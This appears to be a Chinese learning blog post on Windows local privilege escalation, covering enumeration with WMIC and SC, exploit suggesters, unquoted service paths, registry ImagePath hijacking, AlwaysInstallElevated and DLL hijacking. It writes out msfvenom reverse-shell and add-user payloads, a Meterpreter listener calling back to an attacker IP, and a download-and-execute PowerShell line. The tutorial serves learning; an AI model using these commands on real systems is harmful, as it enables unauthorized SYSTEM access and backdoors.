Windows系统提权|内网渗透学习(七)

Windows系统提权|内网渗透学习(七)

文章主要分为两部分:

  1. 获取提权相关的系统学习和系统服务配置
  2. 提权思路和demo详解

后面的几个demo都是与系统的服务相关的比较简单好理解, 虽然说在实际环境中应该几乎不怎么会遇到, 但是毕竟是初学, 先学思想, 其他的骚操作以后有基础了在继续深入多学学。

提权类别

  1. 本地提权︰

    在一个低权限用户下, 通过一些条件(应用程序漏洞﹑系统漏洞等)直接提升到系统最高权限

  2. 远程提权:

    攻击者通过漏洞利用程序直接获取远程服务器的权限

  3. 操作系统提权:
    Windows : MSO6-067,MS10-084,MS11-014,MS11-05,MS12-020,MS16-032

    Linux : CVE-2017-7308,CVE-2017-6074,CVE-2017-5123,CVE-2016-9793,CVE-2016-5195`等

  4. 应用程序提权:Seru-u,SQL Server,MySQL,Oracle,Java,IE

提权条件

  1. 拥有webshell, 普通用户权限
  2. 拥有某些软件的账号密码
  3. 本地或远程服务器上存在漏洞
  4. 拥有漏洞利用exp

提权思路

  1. 前期信息收集
  2. Meterpreter提权
  3. Windows系统内核漏洞
  4. Windows服务漏洞
  5. Windows注册表

WMIC信息收集 - 补丁杀软

WMIC: Windows管理工具命令行, 提供了命令行接口和批命令脚本执行系统管理的支持, 对于信息收集和渗透非常使用

WMIC信息收集脚本: wmic_info.bat

提取进程,服务,用户帐号,用户组,网络接口,硬盘信息,网络共享信息,安装Windows补丁,程序在后动运行,安装的软件列表,操作系统,时区等信息,

补丁信息,补丁包

wmic qfe get Caption,Description,HotFixID,InstalledOn

在win8虚拟机中查看不定信息, 内容太多就将其输出到一个文件中了

wmic qfe get Caption,Description,HotFixID,InstalledOn > 1.txt

image-20220929232426958

杀软检测

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /FormatLList

但是执行的时候显示GET 开关无效, 将Get以及后面的内容山区输出全部

在Win8虚拟机中没有看到任何的杀软

image-20220929233141687

而在Win10中就可以看到Defender

image-20220929233305626

一些系统相关的学习收集

wmic group 组账户管理

wmic useraccount 用户账户管理

wmic os 已安装操作系统的管理

wmic startup 当前用户登录到计算机系统时自动运行的脉络宁管理

wmic process 进程管理

wmic nic 网络接口控制器(NIC)管理

wmic service 服务引用程序管理

SC信息收集 - 系统服务

SC: 用来与服务器控制管理器进行通宵的命令行, 检索和设置有关服务的控制信息,

测试和调试服务程序,

检索呜呜状态或运行,

停止服务,

类似于控制面板-管理工具-服务(services.msc)

对服务的启动执行等需要system权限, 但是查询检索功能对于普通用户是没有限制的

获取系统注册服务信息:

sc query state=all

自动信息收集脚本

Host Information Gathering Script : HIGS.bat

privilege-escalation-awesome-scripts : winPEAS.bat

https://github.com/gladiatx0r/Powerless


================这是一条分割线===================

上面的是一些系统服务和学习的探测获取, 下面是5种系统提权漏洞的原理和使用demo

================这是一条分割线===================


Windows系统内核漏洞检测

  1. msf模块: 可以检测也并且直接列出可能可用的模块

    post/windows/gather/enum_patches 获取系统的全部补丁信息
    post/multi/recon/local_exploit_suggester 内部已经集成了一些提权的exp脚本

    local_exploit_suggester有点事自动化省去人工检测的麻烦, 缺点则是并非列出的所有exp模块成功利用

  2. 用于检测, 输出可能存在的漏洞

    windows-kernel-exploits Windows平台提权漏洞集合(感觉已经比较老了,都是五六年前更新的东西了):

    https://github.com/SecWiki/windows-kernel-exploits

  3. 用于检测, 输出可能存在的漏洞

    已经两年未更新了, 支持下面这些版本的Windows提取

    • Windows 10 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004

    • Server 2016 & 2019

    https://github.com/rasta-mouse/Watson

  4. 用于检测, 输出可能存在的漏洞

    Sherlock

    wget https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1
    
    powershell.exe IEX(New-Object Net WebClient).DownloadString('http;//vps/Sherlock.ps1'),Find-AllVulns

Windows系统服务漏洞

这个漏洞也可以说是不安全的文件夹/文件权限,因为原理就是替换掉系统服务启动时默认执行的服务程序(这种一般不会有, 知道了解有这种漏洞存在即可)

可信任服务路径

可信任服务路径︰存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限﹐
Windows服务通常都是以System权限运行的﹐所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析·如果我们能利用这一特性﹐就有机会进行权限提升·

例子:
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

上面在启动的时候如果存在C:\Program.exe或者C:\Program Files (x86)\Windows.exe就会被通过system身份执行, 这个就可以用上面的wmic来查看了

检查寻找漏洞服务

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\"|findstr /i /v """

image-20220930005623256

我这里只有一个通过C:\phpstudy_pro\COM\phpStudyServer.exe -SCM执行的phpstudy, 这样子路径中完全没有空格的情况下就不存在漏洞

检查漏洞目录是否有写入权限

上面的情况下是不存在漏洞的, 但是如果存在漏洞,例如会默认启动服务C:\Program Files (x86)\Windows Folder\Common.exe, 那么我们可以构造的漏洞示例如下:

C:\Program.exe
C:\Program Files (x86)\Windows.exe

怎么检查我们对目录是否有控制写入的权限?

icacls "C:\Program Files (x86)"
icacls "C:\Program Files (x86)\Windows Folder"

上面两个命令分别会输出C:\Program Files (x86)C:\Program Files (x86)\Windows Folder这两个目录的权限控制规则

image-20220930010507975

F = 完全控制

CI = 容器继承 - 此标志指示

主要是要找Everyone类型用户的权限, 如果Everyone中有些如权限的话就可以写入一个C:\Program Files (x86)\Windows.exe反弹shell了

重启服务

sc qc "Windows Folder Service" #重启服务

sc stop "Windows Folder Service"  #中止服务

sc start "Windows Folder Service" #开启服务

shurdown -r #重启

但是其实sc重启服务的话需要system服务, 但其实如果我们有system权限的话那也不需要提取了,

一般我们就是需要等待服务器重启的时候执行exe

生成exp:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.92.128 LPORT=6666 -f exe -o Windows.exe

此外还可以在msf中设置监听器的参数:

use exploit/multi/handler
set autorunscript migrate -f
set lhost 192.168.92.128
set lport 6666
options
run -j

主要是set autorunscript migrate -f, 这个参数设置一旦有会话连接上来之后会执行什么脚本买了那个, 这里的migrate是用于进程迁移, 所以在受害机连接上来之后反弹的shell就会马上进行进程迁移

为什么要进行迁移?

如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。进行进程迁移就可以使得session保持稳定而不会马上断掉。

迁移后会生成稳定的system权限的session, 可以通过sessions查看

2022.9.30 01:31

不安全的注册表权限

注册表的改动一般是很容易被检测和发现

如果我们可以对注册表进行操作, 那么就可以通过修改注册表指定里面的某个服务的可执行程序位置, 将其执行程序修改或添加为我们的恶意程序

以下例子为修改易受攻击的服务的ImagePath为我们上传的adduser.exe添加用户

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Acunetix" /t REG_EXPAND_SZ /v ImagePath /d "C:\windows\temp\adduser.exe"

当计算机重启的时候adduser.exe就会被通过system权限执行

另外的一些可能手攻击的选项:

image-20220930160938464

另外也可以使用工具Autoruns来查看默认执行启动的服务, 可以用来维权加后门

image-20220930163811381

Always Install Elevated(msi安装策略)

任意用户以NE aothORITY\SYSTEM权限安装msi

AlwaysInstallElevated是一个策略设置, 当在系统中使用Windows Installer安装任何程序时, 该策略允许任意用户以system权限允许msi文件。如果目标系统启用了这一设置, 我们就可以使用msf生成的msi文件来以system权限执行任意payload

查询策略是否启用命令:

reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系统返回错误: 系统找不到指定的注册表项或值这说明没有创建这个表项, AlwaysInstallElevated策略就没有开启, 否则的话会返回数据项对应的值

例如我这里本地并没有开启这个策略所以就返回找不到指定注册表或值了

image-20220930164941716

那么在关闭的时候要怎么启用策略呢?

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_WORD /d 1

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_WORD /d 1

msf生成payload:

  1. 生成反弹shell的paylaod:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.92.128 LPORT=6666 -f exe -o Payload.exe
  2. 生成的msi执行指定的命令, 将命令指定为我们要执行的payload程序所在路径

    msfvenom -f msi-nouac -p windows/exec cmd="C:"\Users\currentuser\AppData\Local\Temp\Payload.exe" > malicious.msi

    呃呃呃, 感觉其实可以直接将paylaod模块指定为反弹shell的模块就行了吧

  3. 生成恶意msi作为payload:

    这个就比较简单了, 直接生成一个会添加用户的msi程序

    msfvenom -p windows/adduser USER=admin PASS=admin --platform windows -a x86 -f msi-nouac -o adduser.msi

生成msi文件之后将其上传到受害机器上, 运行命令加载msi程序

msiexec.exe /quiet /qn /i C:\Users\currentuser
\AppData\Local\temp\mailcious.msi

msiexec.exe /quiet /qn /i C:\Users\currentuser
\AppData\Local\temp\adduser.msi

/quiet  安装过程中进制向用户发送信息
/qn 不使用gui界面
/i  安装程序

DLL劫持

检查正在运行的进程是否存在DLL Hijacking漏洞·
当应用程序动态加载动态链接库而不指定完全限定的路释名时, Windows会尝试通过以特定顺序搜索定义好的目录集来查找DLL, 如动态链接库搜索顺序中所述。

如果攻击者获得对DLL搜索路径上目录之一的控制权,则可以在该目录中放置DLL的恶意副本。这有时被称为DLL预加载攻击二元种植攻击, 如果系统在搜索受损目录之前未找到合法的DLL副本, 则会加载恶意DLL, 如果应用程序以管理员权限运行, 则攻击者可能会成功升级本地特权。

加载DLL时,系统按照以下顺序进行搜索目录:

  1. 加载应用程序的目录
  2. 系统目录(System目录)
  3. 16位系统目录(SysWOW64,System32目录)
  4. Windows目录
  5. 当前目录

为了利用这个漏洞·我们将遵循这个路径:

  1. 检查进程查找的DLL是否存在于磁盘上的任何目录中
  2. 如果它不存在, 将DLL的恶意副本放到上面提到的其中一个目录中·当进程执行时﹐会发现并加载恶意DLL
  3. 如果DLL文件已经存在于任何这些路径中﹐请尝试将恶意DLL放在具有比原始DLL文件所在目录更高优先级的目录中
  4. 例如: 如果原始DLL存在于C.\Windows目录中并且如果我们获得对应用程序加载的目录的控制, 并将该DLL的恶意副本放在该目录中, 则当应用程序尝试加载DLL文件时将查看应用程序加载的目录, 它会发现DLL的恶意副本并加载它, 因此我们的恶意代码将以更高的权限执行
  5. 检测DLL劫持漏洞的最简单方法是使用Process Monitor工具

上面只是一个简单的思路, 详细的细节和更多操作可以从下面这篇文章中学习:

http://payloads.online/archivers/2018-12-22/1/

image-20220930175319977

2022-09-30 18:00

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇